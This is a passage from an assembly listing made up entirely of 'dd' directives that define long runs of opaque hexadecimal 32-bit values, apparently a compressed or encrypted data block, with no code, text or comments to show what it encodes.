0C024F238h, 554000FDh dd 4BFFBh, 50C5A978h, 34ED97D2h, 16846E1Fh, 45E75A43h dd 0F348B0DAh, 62C01D4h, 7718C9F4h, 1B9A4243h, 919A1C40h dd 0E4682B88h, 5E0C00F6h, 6BFAFF86h, 1A0112E6h, 337BC01Eh dd 80EF2B6Eh, 0D4F7B3h, 7AEBF920h, 5ACA11F0h, 0E0C73C14h dd 3B6008Ch, 813542A2h, 8C52005Fh, 638007CDh, 343FC4BCh dd 0BED0813Ch, 0D7A86F8Bh, 7281AC0h, 788A3931h, 2CED02ADh dd 210711E0h, 0AEAC1200h, 93846BE0h, 8ABC001Dh, 69565822h dd 2C90F8DFh, 57593F00h, 3EF6922Bh, 801724ADh, 0C397076Dh dd 0D46BD1F4h, 0BA33201Ch, 0CA738F02h, 41FC5CACh, 32308C2Ch dd 84305087h, 1C671C9Fh, 3E51C05Fh, 17769585h, 4970743Ch dd 0E2751D08h, 1213E8DFh, 0FEB99700h, 0AA63B1h, 0C67F9809h dd 0A7A0BEF5h, 0D1588404h, 2C811B59h, 38E6E8BDh, 78989F67h dd 1452D213h, 10A1AA00h, 50B155h, 6C5648C0h, 0CBB2C52Dh dd 0EEAD8200h, 0BC6A1B17h, 618E00D4h, 46BFC453h, 21395D79h dd 0C2F4016Eh, 0F9880BD8h, 63DC1831h, 1BD0096h, 57FDB0A9h dd 41009B2Fh, 981B6C86h, 71FECB8h, 0CE27A25Dh, 0A8D4F03Ch dd 991E0571h, 315415DAh, 0F413008Ch, 0DE1AFA60h, 39100982h dd 2A8F6B02h, 3228803h, 0DC3C76C0h, 8706A200h, 0A5F2BD4Fh dd 1D9E0067h, 0E9CA439Ch, 0AB0564C2h, 5DD554B8h, 0ECB98C41h dd 92E87588h, 0F4CE000Fh, 160D9526h, 6209D79Ah, 0FFD564h dd 7423F198h, 0EE6B3FC2h, 2BF000F3h, 0CDE31D6Fh, 19C1D449h dd 0F4EA3A31h, 0CE5EF640h, 845D2CF3h, 71790350h, 0D9B31BC8h dd 213611C0h, 6D2F1903h, 0B01595FCh, 7BAA5h, 10BF7BE8h dd 8F59C86Fh, 20787077h, 3F26305h, 0B9802586h, 2E71D2h dd 0F3A0D7E9h, 0F50614ADh, 0AA577D03h, 980F9F2Bh, 525E97h dd 281B7F56h, 7422FE0h, 27005A98h, 0D4A2C8A9h, 8A7086h dd 41FC43A4h, 0B1BA42BDh, 7A008CF0h, 27212207h, 169ABC3h dd 428BC8B7h, 0C4E4F508h, 0D3F2AC90h, 0E0414600h, 5271E340h dd 0CE36000Fh, 49354DA6h, 4500EC99h, 68E6A383h, 0D3A85Ah dd 4D82F66Ah, 40C2119Bh, 20437307h, 0FF379527h, 1A4442C0h dd 1F6B0729h, 0F0EADAF4h, 0DF9BE908h, 0BA4FE31Dh, 66F611C0h dd 0DD1CECh, 1E8E0D85h, 0F2684841h, 0EDE8500Bh, 584410EAh dd 1659ECC2h, 148D748Bh, 0EF004D78h, 0C04A1489h, 0EE058218h dd 0C5556E9Ch, 12D310C1h, 28729D0h, 737E732h, 236047B1h dd 7650AEA0h, 0CA0C8FF4h, 40C10AD7h, 0ADDD1E2Fh, 0AABAC022h dd 62320FEh, 0C8B6CC2Ch, 46937B00h, 3E41E6E7h, 0AF805171h dd 0E3FD85D2h, 2077D762h, 0CA9E7B00h, 0F140971Fh, 8CE40018h dd 0E399446Fh, 6E007319h, 0BCF64194h, 1C4984h, 63DDAF7Eh dd 4FB4208Ah, 8347C13Bh, 0E39F303Ah, 9638A099h, 0B777CFh dd 6C073DD9h, 0A2C17181h, 67C8F300h, 0D19777Bh, 9EBC3DBFh dd 0B2D8B980h, 705655D5h, 0CCDF9326h, 1E08FE00h, 26FC907Fh dd 7B85F3Dh, 87917C2Bh, 0DECA3047h, 19007573h, 9AB977B1h dd 0D1A1F8h, 0AA78E5BDh, 0C696BFA3h, 0DDE0C216h, 0EDDE4005h dd 71FAB8C0h, 6CD2809Bh, 292E7900h, 3356013Fh, 0C0B35D67h dd 0FBF5B03h, 0AEB07C69h, 5109CF59h, 8136874Dh, 0D0B3C24Ch dd 0A4201DCDh, 48471C25h, 4C5E00EAh, 537CE3D5h, 58359F03h dd 0D9CCE00Dh, 0D043BAF4h, 0FF1398F7h, 8C5B800Ch, 36BD7400h dd 8F52987Ah, 1192001Dh, 9C20FACCh, 0F5074B05h, 68301BC0h dd 0A8F0BB17h, 7433CAh, 6C9B1887h, 0D4EE846Ah, 5428F500h dd 1B74CA1h, 877A0073h, 7939C27Bh, 5001CDDFh, 4908334Eh dd 0FFEC9383h, 827C00F1h, 0CAF351C8h, 450302E8h, 6278A754h dd 9059C8B7h, 754E005Bh, 20A39B5Ah, 8C9834B0h, 0E46F870Eh dd 6596066h, 1E7EBD8Dh, 987BDFh, 7DB78F0Ch, 0F07C78EAh dd 72AB1A00h, 8BC9C651h, 0EFB10082h, 0D6DD5EA7h, 2C797F88h dd 1A31E810h, 0DCC0D500h, 0BE3D5474h, 7C792300h, 0E778F8A0h dd 53285819h, 0B7F92200h, 365714B9h, 0E1075C1Dh, 0E22CF34Eh dd 4037D4CDh, 233C8EBh, 0E2C741D0h, 0B880BEECh, 972EFD4Fh dd 78125400h, 80ADD68Bh, 51A60031h, 2FD10486h, 49EAE503h dd 25384800h, 8ED0C592h, 2EDAF635h, 0F13B20h, 89F5828h dd 24004540h, 292748E8h, 3486B5h, 0BE512CFh, 7E2BAD9Fh dd 0B1000DF4h, 82B93FACh, 0EA05D7D4h, 7274001Eh, 15C1ACAh dd 9C01A199h, 0D5857844h, 6C30B405h, 0D4AE0043h, 5A74CA06h dd 7A0038B0h, 9CEB1013h, 1FF565h, 4A700D28h, 194FB24Bh dd 0E9618100h, 0EAD0152Dh, 4D9900F5h, 173DE8F9h, 52012343h dd 35026337h, 10807E14h, 2FEC6139h, 8C7C451Dh, 97CA098h dd 341C071Eh, 1204EE00h, 9DFFC4Bh, 3FCB2A30h, 0A42F6980h dd 0FB00D3A6h, 8939E033h, 456AF29h, 0E3874ECAh, 0FA4902Fh dd 30007D5Bh, 0BC404B91h, 0FFF36Ah, 80AFCC7Ah, 0DF62BFFCh dd 3D05C8F6h, 328F9C03h, 0ACD6D800h, 0B9633Ah, 0F5579267h dd 9436685Ah, 10C9551Eh, 0CE599780h, 1CEDA358h, 40BFBD16h dd 32F06A9Bh, 0A2023495h, 46B3979Dh, 2D04406Dh, 554300F9h dd 0C9A381AEh, 0DE22B5Ch, 0C1787200h, 0B166E988h, 0CE0501CCh dd 963E8348h, 0E4A0479Ah, 8268C1DEh, 30AE71B2h, 1E3CB460h dd 0C1990484h, 3CC3D08Ch, 0D5ADE0EBh, 0A7720068h, 0CE9553FCh dd 6B0071A4h, 8A50BF9Ch, 54AADF2Bh, 7673A0D3h, 0FDB90E9Bh dd 158E3533h, 71B2C000h, 6D00E018h, 4F09A4A8h, 3DA4864h dd 230E37B6h, 80C802B7h, 2D019AFEh, 0CE30266Dh, 1180A6ADh dd 6477BA87h, 530CC8CBh, 0C839EC02h, 59DB80Dh, 81B960DDh dd 0A6288019h, 0BF0265B5h, 5F455855h, 4916600Ch, 80449CE8h dd 0B5235AB3h, 64FE90A6h, 0ABB955Ch, 0B8C1C20Eh, 0B90731A8h dd 3C89A8B5h, 5561CFC1h, 26E0A0C3h, 9AE20145h, 53E6356Ch dd 0D6C7717Eh, 0EDB5B861h, 0F06FE9C6h, 0FF000867h, 9B39EDDCh dd 2E723CDBh, 9CC4BEA1h, 0D0F74683h, 120E383Eh, 4EDEBB6h dd 0C8C0402Bh, 932788h, 16862049h, 0DAC4040Bh, 71430912h dd 9C1F40C0h, 99CA050Fh, 8388BFCCh, 1E862C8h, 1E148A47h dd 4886F29h, 0CC3D5B3h, 0F56BECC0h, 0CA234897h, 7DD3400h dd 6B7B350h, 373D33F0h, 0A2E381FCh, 0C120D8B0h, 2E3CBBE8h dd 0BC878Ah, 2166F319h, 0EB01AF8Eh, 0E6B04CDEh, 88FC7828h dd 0BEB805h, 0DCD26A2h, 2290EA0Ah, 3DF6C701h, 5CD3E596h dd 0F786C4h, 2EEB7F14h, 0F6B79E6Dh, 70362403h, 0F58FE49h dd 0D4DDB419h, 976255A0h, 3772499h, 9007898h, 837313A8h dd 7DAC06h, 14326D52h, 2E39891h, 0DCAD331Dh, 2F1B3600h dd 0B83B8D34h, 47377h, 0C4CA9A35h, 60655556h, 0B31FFF77h dd 0B2C05E6Dh, 25AD7117h, 1EFE3Bh, 0C2392983h, 0D4D66144h dd 9A8AC000h, 6697F8A7h, 9328001Bh, 16C13DFEh, 7001C671h dd 45980AA5h, 8EC5D7Ch, 0D18E005Ah, 0EFE57881h, 0F848BF48h dd 255600FEh, 0FA912B65h, 2F84036Fh, 4C3AE252h, 3F7C01A8h dd 0D61E7B00h, 717F2005h, 0FD0B0E31h, 9EC055DEh, 0F18C13F3h dd 80194C3Bh, 2BF7C90Ch dd 50D8Dh, 0C094B19Ch, 0E920F86Ah, 77B893Dh, 1D367367h dd 9746AFF0h, 0EB0800F2h, 0ED311B93h, 3D04E9E5h, 534920A0h dd 548CC2FBh, 0CE4A7240h, 8FB80678h, 8F74D100h, 5B95FCDBh dd 0E07E39A7h, 0FB97E280h, 9FDB54Ah, 238FE91Fh, 38D42100h dd 4B716B3h, 4366A4EDh, 4F08C2A5h, 0D2B0AAC0h, 902A8801h dd 32E7D989h, 3F19E5E4h, 7F804F30h, 0FA126378h, 0F33986EBh dd 79E980BFh, 0D013649Eh, 0E83B00AAh, 789B36Ah, 0C100CE8Eh dd 0BFA77961h, 0C0B2E66Ch, 5E504718h, 0B37A132Bh, 0F1F7EA00h dd 55D64DC7h, 0E1FC07F4h, 60926E0Bh, 190D99C0h, 11886200h dd 3F82EA4h, 35541C23h, 1431009Dh, 6E15CC36h, 0C7428D00h dd 68B6FD20h, 9B0F0F79h, 0E180D0C3h, 6A078A63h, 8E2DB200h dd 4F4DDA1Fh, 83740Eh, 6C87432Fh, 0F6B2A219h, 70685926h dd 3DDF9200h, 38108Dh, 0FB24487Ch, 955713BDh, 0C4EF1C00h dd 822F8A2Eh, 6ABE00DBh, 0DBA5E10h, 3EFEB7ADh, 2EF05F48h dd 0C89C90DFh, 0B900C5A4h, 9A2C8DA5h, 306C7080h, 73194B02h dd 4C00F67Fh, 0FF3CCCE4h, 300C3260h, 83211BB2h, 0AD300AAFh dd 0A4BE111Ah, 2DF93316h, 0ECF0A0C9h, 40001F62h, 0C13A5175h dd 9777422h, 14BF18A5h, 0AFBCA8E0h, 9605F002h, 60CFF83Bh dd 9C43838h, 0B191624Ch, 8C6AC80h, 60FE7A46h, 0A60278F6h dd 0BD634DC4h, 3C8060D2h, 61FB007Ch, 308A565Ah, 40013F8Bh dd 66B50E54h, 0F541EC5Dh, 0EB700C35h, 34CC008Ch, 9E7A189Fh dd 86B011ACh, 0A2243F00h, 4CA54910h, 22A03DBh, 99C8827Dh dd 4E8A83Ch, 205F2C7Ch, 7F519CC0h, 1E93142Eh, 0BA00B8EEh dd 7214A4B0h, 0C439B74Ah, 0E1007EA9h, 65B3552Eh, 301C608Ah dd 871127DEh, 0E001D63h, 0E1AC2C70h, 0D71501h, 9FC99635h dd 9CE9FA2Ah, 1C20664Eh, 856FC368h, 0B5D37B83h, 3DCCE87Ah dd 0E8F0002Ch, 441A8FF9h, 8100A93Fh, 0D64221E4h, 0F5E54Eh dd 7B96272Ah, 0C2AE912Ch, 0C004C702h, 0C0978DFAh, 0B68094h dd 0C99ACB9Fh, 0AD7AEBBFh, 9BC69C1Eh, 0E7D8C118h, 23CD0365h dd 0A08D760Dh, 0CB746E0Fh, 0A99C00DCh, 1B764B2h, 0D7F3D288h dd 60341BF2h, 33053BF8h, 50430F6Bh, 0DD87EC05h, 24C4A0h dd 11B0EA9h, 4BFE9B2Ah, 0B0AB00Fh, 216C0F0h, 4C039573h dd 2B07F8F3h, 0E0A37835h, 105786B2h, 0E7878D01h, 0ED34120Fh dd 1E9860h, 70DEBD68h, 10FE9D9Ch, 0DBCA711Ch, 0B0A700FCh dd 0D593BE6Ah, 0D79100F9h, 0C1D87B18h, 85755DF1h, 9F840900h dd 8062E6B6h, 10AF003Dh, 66DFFB7Eh, 62EB925Ah, 5D7009ACh dd 770000EBh, 70BAD773h, 0CCC70E74h, 96203355h, 95118043h dd 2F019C17h, 48D06C01h, 0C82082D1h, 78E50036h, 0BAB8A2ABh dd 0CF0CFA0Ch, 21A09601h, 3C5D3D2Bh, 7CE3F8E0h, 60FA308Fh dd 5052CE03h, 0C0189483h, 348C5A7h, 0E6444326h, 0CDE97DEEh dd 0E9CC2054h, 69640149h, 0B0744411h, 697363D3h, 47987F9Ch dd 1B015842h, 0E1CC44A4h, 60A69510h, 68EE0C6Fh, 0AD00C489h dd 13DFCD44h, 75B87DDh, 0D7DB28C8h, 0FD9C935Dh, 9D6775F0h dd 0A5D5A71Ch, 0C21580FEh, 0C5AD9EBEh, 0AA740051h, 0E61FF80Dh dd 2000D58Fh, 65F00C2Bh, 9667158Ch, 64C503ACh, 0A000E9A8h dd 197B0B81h, 0E8CE4h, 566E0137h, 0BBE78A83h, 4AD68467h dd 6A65A3A0h, 2B355CA0h, 407D5907h, 0F741F0B1h, 46002101h dd 3A92C618h, 4D49C61h, 931650FAh, 0F4AC80B3h, 1B0086C2h dd 0F8653D46h, 33E1C28h, 7651299Eh, 63E0BAE0h, 8B01BF6Ah dd 0B420FDC1h, 5FFC47B7h, 46940021h, 489CBFEh, 865F0306h dd 40C30800h, 3821CF7h, 22B7B21Bh, 7DA8CD53h, 0F005AECh dd 78B0DE32h, 61ABBAh, 4B7E2E88h, 27C9E3CFh, 0C27A8A01h dd 0DC2B79C1h, 8E72A03Bh, 529D3300h, 3239CD87h, 10310088h dd 6AC7775Ch, 9F00D6B9h, 55722644h, 0F2FD7B58h, 1BF4F962h dd 0A8BF0F54h, 56005C02h, 3EF886Eh, 0DF9401Fh, 0EC82DCD6h dd 600CEA06h, 4B3C17FEh, 0A9B40005h, 0CA84255Eh, 375F2E00h dd 507E3A95h, 174F6F6h, 5B51E22Ch, 0DCA0040Dh, 0E13EB56Dh dd 0E4097B3Ah, 40748580h, 7539EBACh, 0A6D11211h, 51B0001Bh dd 0CB6ABC3Dh, 0F4229700h, 0A480170Dh, 898300ACh, 0E0EF36FCh dd 34002582h, 1C560157h, 121365h, 0CFD51BA4h, 6C7D8BDDh dd 0EF05AF09h, 4D048159h, 97F00EA6h, 14CA1C2Dh, 15FC0BFh dd 1A6B8F70h, 50253F01h, 41ACC29Eh, 4CA8A4h, 0BC0DF721h dd 2D305DE5h, 0B932966Eh, 0A9D000D9h, 0FEC00B48h, 0C7016031h dd 0FABB5B8Bh, 3660B8FDh, 824216CDh, 602C0026h, 0C20F982Fh dd 0ECA139h, 0F9B871F0h, 7C7F4010h, 763607B9h, 0AFDC20EBh dd 321B2BE7h, 0C46082DFh, 0E005F8Ch, 49D88BE5h, 3DB8720h dd 2886DCB6h, 0CAB16CCFh, 59ACF4DFh, 0D6287DEAh, 3F1E8CBAh dd 20D8FC58h, 0F22638h, 79AEC147h, 0CD6F8F91h, 0D607661h dd 9184720Fh, 0B0A6ADFBh, 9D016D30h, 0ACD3FF5Eh, 4870394Bh dd 801CBC76h, 0BBD7E8C4h, 93006F3Ch, 239594E1h, 7E160AF5h dd 0C1130FA9h, 80200669h, 8837E1FBh, 1726B901h, 3E4678A7h dd 0A07A1074h, 0B5CD80h, 0A037D188h, 92FA7222h, 63D74212h dd 8FCB1440h, 0C364D948h, 3D4F6E11h, 0D01DD98h, 0CA30DF00h dd 0C15968CEh, 9F540133h, 3BEEBB4Ah, 0E3309A19h, 8C74FCh dd 4E8E3CDFh, 2FE80CD0h, 7589C8h, 0F92A6B28h, 84E25B07h dd 0A30A0492h, 8CE55FBCh, 59534A80h, 2ED84829h, 0B96050F9h dd 30A852F2h, 4FEA4306h, 9D0C2139h, 0C166D83Fh, 5E7406C6h dd 2129E01Ah, 0E4558D00h, 0A4912D25h, 18BC00A9h, 1AC3CC43h dd 9395C1C0h, 0D6D5901Ch, 7FDD3C5Ch, 6343CB02h, 0BAE0F3B9h dd 0ED2EABF8h, 0FD002916h, 32993675h, 1CDB79F5h, 800DB281h dd 6D2DD894h, 0A803C278h, 14E4E0B1h, 0FB50FF1Ch, 3A798219h dd 0D9B13E89h, 2E9DF428h, 2170AC1Ch, 0E73083Ch, 0FA8FA42Fh dd 0A3588901h, 0A85FF41Fh, 52FC0301h, 171BD543h, 0DC085C38h dd 3580D1F7h, 883AD075h, 0A0B0AB7Eh, 921A98B0h, 49E93BB0h dd 0C6199D00h, 6C6BA9A5h, 2A9A5A00h, 925909F3h, 14912E28h dd 568C80B8h, 0E34B37E2h, 10B1640Ah, 0F902E81Fh, 62905F6Ch dd 0FE34609Fh, 43F25C53h, 0D638F430h, 63005F9Ch, 3B6E8A1Bh dd 6DC7E3h, 20376986h, 0B1259901h, 84386600h, 8EC4FD93h dd 96AE00F8h, 9027F744h, 51CFF22h, 0E08039C0h, 107A37E8h dd 38DC01DFh, 0AAB82A26h, 8F9C6007h, 0BE003D70h, 7BED6A1Ch dd 30E5236Dh, 26A637CFh, 0D2006008h, 55838CD0h, 0B8C28D9Bh dd 0DAA600F6h, 0C9F5B4D7h, 8E98D87Eh, 5E34630Fh, 504B405Dh dd 0FE67B097h, 3AAF0099h, 7BE9C424h, 0A707AB04h, 0F8F5E041h dd 0E0A645B2h, 0FA17169Bh, 0B0B42E63h, 0C12B010Ch, 0CC423347h dd 0C3F49AEBh, 0C4808700h, 5515B8B0h, 1350003Ah, 1123AF63h dd 84EA5703h, 0B9B11A00h, 983A4F1Eh, 1B2C0001h, 21AED96Ah dd 630A2223h, 0C40B269Ah, 3E4E4700h, 7FFF0Ch, 5D21F25Ch dd 800E093Bh, 57F45601h, 0B696306Ch, 0F0AC44FCh, 93F034h dd 0B97D4D46h, 0A0593122h, 0CA524100h, 9C8C0DDAh, 0B45009F2h dd 78710F09h, 8066EA89h, 804D1F97h, 7DC49815h, 4EFE012Dh dd 7B25EFB3h, 3761E284h, 68C7201Dh, 0CF0FA600h, 62D90260h dd 96B7B7Ah, 0A74B1E2Dh, 0D285C0A1h, 48A43C33h, 61AD0FF0h dd 0C1F7C081h, 4937AAA2h dd 0E00642Bh, 0A97080BEh, 193BE99Ch, 0DDA08428h, 480BB14h dd 1D9FDB35h, 80EFCC0Dh, 3480959Dh, 0D7037036h, 7C4DE7FBh dd 0ED5F90FFh, 37600022h, 0AD84D503h, 0B8004BB2h, 0D0F28702h dd 452058h, 6C619CEBh, 0E5AB268Dh, 0EC5F5Ch, 704F99C1h dd 70E0F92h, 0A216AC3Ah, 0C3B22527h, 0ADC98670h, 0B7A86072h dd 21501F01h, 74C76FEFh, 9D6920h, 36DEF58Bh, 0CA4B2D04h dd 0C6C4A700h, 359428B4h, 9857508Fh, 0BA4C2C2Fh, 39BE0024h dd 0B93EEF0Fh, 185A4509h, 0D1F404FDh, 8800F8BCh, 7E407909h dd 0C0173ACFh, 0C10554B2h, 0EC08F51h, 2C2545ECh, 0D2447h dd 28C3A289h, 6402F6CBh, 431709E6h, 5224604Ch, 0F8B71671h dd 0F654700Fh, 0A75819B6h, 7C3802E7h, 858E9C26h, 8080DDA6h dd 0F945A9Dh, 7331C3B9h, 7071FC67h, 63240DF6h, 2F6C2301h dd 208BE450h, 0BCC5834h, 0C39F4F25h, 0AB0308B0h, 7EC1A4Ch dd 54DC441Fh, 74DEC290h, 0A2373D56h, 64ACC702h, 0F4688D85h dd 5E19B1A9h, 0CB598379h, 7F5F0870h, 872A0028h, 7ECA3438h dd 0EF120131h, 8CA014C4h, 0ED70C495h, 0E570A49Ch, 19C0D5F0h dd 0D9EA1871h, 84FA5632h, 40DC134Bh, 59227328h, 110F5A38h dd 37E542A2h, 0A4DCF0C0h, 543EAD3h, 0D0401FB6h, 84E41136h dd 4E81219Eh, 31690503h, 59AB6AD0h, 77826C42h, 90A07C92h dd 7E7452DBh, 0DCAFF90Dh, 62C499BBh, 1C5F0067h, 85D5B5FFh dd 0BC0CBF2Fh, 0F811AAEEh, 0CCFB5809h, 0C13239A2h, 40744290h dd 7C6F06BDh, 79C89A14h, 1E8FA006h, 6411C19Ch, 80B6317Bh dd 8B63BBD8h, 801810C0h, 0C80492h, 6AB8FBA3h, 0BB39C151h dd 0FC18EB74h, 554073F1h, 0E5FD28F4h, 0FC63FEE8h, 89C42CD2h dd 0B85D4028h, 282516A7h, 0FC446042h, 7F028819h, 40525F03h dd 0B89ECE7Bh, 2D2E2ADh, 0F2BF5355h, 60E0672Dh, 0C5031966h dd 99B7F057h, 3128E860h, 93400097h, 0F38E0AECh, 2500853Dh dd 7F83E64Bh, 161AF21h, 0BBAB9E71h, 0C08D5878h, 3900B8A2h dd 8C50426Ah, 0B4671Ah, 149604EDh, 0FA986D3Eh, 1E48958h dd 446C3C22h, 0CE798Ah, 854E7FD1h, 0D704F80Ch, 1C9129ADh dd 70A1FEEBh, 8CA37E11h, 0F5C49D01h, 92E50253h, 0E42E1C28h dd 2042AC3h, 8CBDDFA2h, 0C0C85AB1h, 4900D7E1h, 0DE2FEF23h dd 33392ABh, 772DE2FDh, 82FCED1Dh, 9460FEB1h, 131FA179h dd 36C1C274h, 0B647A022h, 2CE27E8h, 2B85660Ch, 0C0564CA5h dd 0E28950Bh, 65A341A4h, 0A86029F8h, 0A27000EAh, 0F085871Eh dd 267EE3F9h, 8C00097Eh, 0FE74A1C1h, 58B7D1AEh, 5703A477h dd 0F9A7C461h, 0D4B918F0h, 0DA05E401h, 6D2B02C7h, 28E382E4h dd 12F66250h, 0B03127FBh, 0CD0F8CF4h, 0CAAC8DFDh, 0E100921Fh dd 186F2C14h, 0EEE60775h, 0D7537FDAh, 233351CBh, 0BD68C820h dd 6AAE414h, 0D1DB0090h, 3B38081h, 0D56639E0h, 828DBE8Fh dd 0AB68DA01h, 2A1AF8DFh, 28C7E116h, 80A31D0Bh, 35D0C8B8h dd 0DCAC00A6h, 4DCDC51Ch, 72C815Eh, 28048C98h, 27402AAEh dd 0ADFE1B94h, 4332A300h, 5998855Dh, 4930B0CAh, 0B6029893h dd 0A96F5855h, 530064D8h, 0F17FBCCDh, 7519D7h, 0B2B09ABBh dd 0E83DC114h, 8D1E2B00h, 227E01F0h, 1F070025h, 18920867h dd 2907313Ah, 84B3780Fh, 8524A439h, 217CCCh, 0A953C8DBh dd 0F8F0B613h, 9002C8B8h, 0B7871A73h, 61FDC09Ch, 80F54CACh dd 0BC65C00h, 0E83725E6h, 0B8004698h, 21888369h, 7EEB72Ah dd 8E5D0E16h, 0BED4D017h, 6D0A2EC4h, 0B6B6F85Eh, 0CCE9B400h dd 0FFBC30h, 29B75058h, 6563D5E8h, 947C6009h, 6CD803B3h dd 23A800B0h, 0EFC44E2Ch, 73006F5Bh, 9C1BA0CDh, 4DADBE47h dd 46026CA2h, 0C48EA65h, 498BB874h, 827000FCh, 0E22F29h dd 3CBE4FE5h, 13805556h, 401FCE76h, 0D0C19C24h, 0FAD8BBDDh dd 0B489040h, 0CE5B0089h, 30C4B992h, 0D74B4274h, 8EAC1840h dd 33A4D832h, 7281CDF7h, 0AD169087h, 830039E4h, 0B69EC66Fh dd 271AAA6Dh, 4C41F1A5h, 0C491C5FEh, 3709BA3Eh, 80D86B4Ch dd 897DEC79h, 43F502DCh, 8353E2AFh, 99BA9860h, 4CD9B300h dd 5E741DD6h, 20D10019h, 0FD4553A0h, 95145871h, 0C3480498h dd 0A8E16C39h, 1FE546DAh, 0C0289FE8h, 2B8D240Ch, 0D7539A2Fh dd 9ECB0460h, 0CE3821Dh, 34263321h, 0F4459DE0h, 3B2167Fh dd 0C53CA047h, 4EB8E758h, 0C8BFAC80h, 0E13E0033h, 22A08D09h dd 653024A5h, 9F2140F2h, 0DE709Eh, 1CF32A2Fh, 0FED8D52Ch dd 0FAE3E400h, 811942CEh, 37130FB2h, 5F0BCDD9h, 453C0602h dd 349404C1h, 0C89C896Ch, 90416848h, 0D8501708h, 248B44F6h dd 0E382BBh, 2AEAEB8Ch, 9D0E8792h, 8494FDA4h, 0C0916132h dd 5FD0B3D8h, 418661B8h, 80ED97C4h, 952B5259h, 60A86F85h dd 24962176h, 949CC588h, 16AD1900h, 0CBBD158h, 6542A6Bh dd 3100F358h, 0D637E75Bh, 0DD6D0FACh, 79431830h, 880005E6h dd 0B8601E5h, 0C0EC21C6h, 0C2124861h, 6B01FA3Ah, 0A1DDFBB2h dd 0C5DC0746h, 0C3420215h, 0DBF29A2Ah, 0CC105879h, 88E00DC2h dd 36EE5A00h, 10A00CDDh, 78619489h, 7712A20Dh, 688349BDh dd 227BF618h, 86E885F8h, 7C275CF8h, 0E8006B41h, 54C4ABh dd 777A5205h, 38577567h, 32D4A159h, 1A8981D8h, 1C06D05Bh dd 8C06A0h, 0A8B0E64Eh, 5D1FFC13h, 1787DC9Ch, 2110B85Eh dd 29ADA22h, 62DC37BFh, 0F8A264h, 8EA8F100h, 212DBBDFh dd 2C9EE4h, 0C01BEA8Dh, 0FC7539D2h, 0B890E62Ch, 810B303Fh dd 735BFB3h, 965925A2h, 946190A6h, 0E90032B6h, 0B5F7553h dd 0FF6ABCh, 0F5DF8F3Bh, 1AD7E5F8h, 0F1428203h, 0C85C1EF9h dd 278DBAh, 0AAFEB5CAh, 61B27A8Ch, 0C638B91Bh, 9D300340h dd 54403313h, 0DBCB48A8h, 60BBD1E5h, 9A0A3FA1h, 0EC918422h dd 62008B20h, 0C6F996E6h, 75271490h, 6D2C161Eh, 0C3A2C401h dd 3B81B981h, 8BC0C3BDh, 561D04BCh, 4F0C1E85h, 6280A4h dd 58A34C27h, 381440EEh, 84C8FE54h, 0FC89852Ah, 1907F402h dd 0D0D00542h, 0F343E6CCh, 8045E0h, 31C21D30h, 85596002h dd 4203DF00h, 751BB5C5h, 12CF7C28h, 0A0AB0A51h, 9090AEE8h dd 8595D378h, 1430B63Ch, 31C19B0h, 846ABF8Dh, 0E58009AEh dd 0BE072E2Ch, 4CA8EEB1h, 0DB06C920h, 12A9052Fh, 8031E40Fh dd 0BAD60C3h, 8B1BB700h, 89351F4Fh, 574800D8h, 0AA7841F1h dd 0FE059019h, 5F2106EAh, 0F8AB3080h, 0BE8700A1h, 0DE01B5C2h dd 0E5173624h, 0C81E2156h, 65094841h, 0F3E00786h, 2A890002h dd 4DCB55B2h, 66006961h, 0A121821Bh, 0E943031h, 0DE17CC6Fh dd 51EB3AC0h, 0BE00D177h, 0FDF5CD88h, 0E46B287Bh, 1566009Eh dd 0AD0DB869h, 950036BDh, 0E556883Ah, 2702CD4h, 0D142B473h dd 0BC87FCBFh, 95145AAh, 0CC78A0E5h, 884EC50Fh, 6D7B00BDh dd 3E57C2A6h, 8B0345C1h, 75E4B6DDh, 25F4BC9Ch, 0AB0840CEh dd 1CC1C9Eh, 0FEBAC06Bh, 461E66DFh, 6C406AFFh, 307220F3h dd 1932570h, 371E4080h, 0EE00A57Ah, 0E43E4FB0h, 5C79171Fh dd 0EB00B945h, 0BE788A7h, 54008DD8h, 343C300Eh, 14C05DEh dd 732724B9h, 0D1A76DF0h, 18C9EE90h, 20493AF4h, 0A874F0E0h dd 1DF0FAD8h, 6EBB764Ah, 1C2C34h, 0A73B9E8Eh, 0D900D035h dd 0A17F80F7h, 75101Eh, 28B2DAB5h, 52A3B731h, 85821800h dd 0D902A75Ch, 0D545161Fh, 396C92F8h, 0CE00CCD1h, 0BC5CD16Ch dd 4C430084h, 61331C3Eh dd 6616A02Ah, 0B0B01F6Eh, 0BD16058Dh, 80304C8Eh, 62A3E6A9h dd 8C72E9h, 9E99A40h, 0B81392E2h, 3EF7015Bh, 7D8EA563h dd 20C0C37Fh, 6118DA9Bh, 5E9A167h, 0C47A242Eh, 0CA01BCB4h dd 683DBC40h, 8F89FEDh, 0CCA6A9C0h, 1A72196h, 0B9646DE1h dd 0EC46EDC5h, 9E00829Fh, 4802E94h, 1966983h, 1C685EC7h dd 0D42BBA7Dh, 0C8B4A7C9h, 0D5B0Bh, 0A2D227A6h, 7B6E003Fh dd 7EF4CB78h, 0F70058BBh, 0AC7D351Bh, 0EC5A09B4h, 91F94838h dd 57807700h, 9925F773h, 0AC978E00h, 28E1030Eh, 0FBC90181h dd 0FD6D4380h, 82CED527h, 26FC6E11h, 0F8CD630h, 0CD214B8Dh dd 0EC2263ACh, 3C0FD96Ah, 2091F6C2h, 0E6764EB5h, 90C9013h dd 0CC7E8E07h, 0B2058CD8h, 0C97A9CE1h, 0B401B8BCh, 566FAC17h dd 6C83F076h, 53F884B5h, 791DE8F8h, 6099C0E2h, 9B0A9201h dd 89CBCD3Eh, 897450F2h, 240E83Bh, 5C7C82h, 0BB2A9E77h dd 23148451h, 500AC8A8h, 0F2D0F8F7h, 7E52E804h, 0D8C03F74h dd 57C71Ch, 0ABBD728Dh, 4D055DD3h, 0FC34829Fh, 33610F48h dd 30DABAA0h, 0F80FD090h, 9EAFAB42h, 41E2C80Fh, 9BFCB641h dd 4746D8h, 6632FE0Fh, 5C5DDE28h, 290B0400h, 0F8EB2583h dd 9D950314h, 792C3AF6h, 905F4990h, 0E42D7800h, 631B9692h dd 0B2C007FFh, 8D6DFEh, 0AA671A33h, 2F442600h, 56CF940Fh dd 77B0A011h, 0FD0E3E3Dh, 0FC8F702Fh, 3EFA0B43h, 90C026C2h dd 600405Ch, 0BC746CA6h, 3604427h, 2D1D56A3h, 49F87209h dd 220251B0h, 5BFD4ABAh, 0C4B0818Eh, 1C2CFE59h, 5445267Eh dd 44FC8020h, 92164733h, 0C5289C5Ch, 10ECA318h, 0CA8CC580h dd 